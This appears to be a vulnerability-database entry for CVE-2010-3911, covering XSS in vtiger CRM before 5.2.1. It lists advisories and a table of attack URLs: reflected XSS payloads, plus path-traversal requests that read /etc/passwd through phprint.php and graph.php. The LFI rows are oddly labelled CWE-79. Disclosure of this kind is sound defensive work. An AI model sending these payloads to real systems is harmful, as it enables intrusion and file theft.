CVE-2010-3911

🗓️ 26 Nov 2010 19:00:00Reported by mitreType

cve🔗 web.nvd.nist.gov👁 51 Views🌐 WEB

Multiple XSS vulnerabilities in vtiger CRM before 5.2.1 allow remote attackers to inject arbitrary web script.

Reporter	Title	Published	Views	Family All 6
Cvelist	CVE-2010-3911	26 Nov 201019:00	–	cvelist
EUVD	EUVD-2010-3889	7 Oct 202500:30	–	euvd
NVD	CVE-2010-3911	26 Nov 201020:00	–	nvd
Packet Storm	Vtiger CRM 5.2.0 Code Execution / Cross Site Scripting / Local File Inclusion	18 Nov 201000:00	–	packetstorm
Prion	Cross site scripting	26 Nov 201020:00	–	prion
securityvulns	Vtiger CRM 5.2.0 Multiple Vulnerabilities	24 Nov 201000:00	–	securityvulns

NVD

Node

vtiger vtiger_crmMatch4.2validation

Source	Link
vtiger	www.vtiger.com/blogs/2010/11/16/vtiger-crm-521-is-released/
ush	www.ush.it/team/ush/hack-vtigercrm_520/vtigercrm_520.txt
wiki	www.wiki.vtiger.com/index.php/Vtiger521:Release_Notes
secunia	www.secunia.com/advisories/42246
securityfocus	www.securityfocus.com/archive/1/514846/100/0/threaded

Parameter	Position	Path	Description	CWE
default_user_name	query param	index.php?module=Users&action=Login&default_user_name=%22%20onmouseover=%22javascript:alert('XSS');	Reflected XSS in login form via default_user_name parameter.	CWE-79
label	query param	index.php?module=Settings&action=GetFieldInfo&label=%3Cscript%3Ealert(123)%3C/scrip%3E	Reflected XSS in Settings GetFieldInfo via label parameter.	CWE-79
lang_crm	query param	vtigercrm/phprint.php?lang_crm=/../[..]/../etc/passwd%00&module=a&action=a&activity_mode=	LFI-related vulnerability in phprint.php via lang_crm parameter (pre-auth).	CWE-79
current_language	query param	vtigercrm/graph.php?current_language=/../[..]/../etc/passwd%00&module=Accounts&action=Import&parenttab=Support	LFI-related vulnerability in graph.php via current_language parameter (pre-auth).	CWE-79

16 Jun 2026 23:23Current

6Medium risk

Vulners AI Score6

CVSS 24.3

EPSS0.01086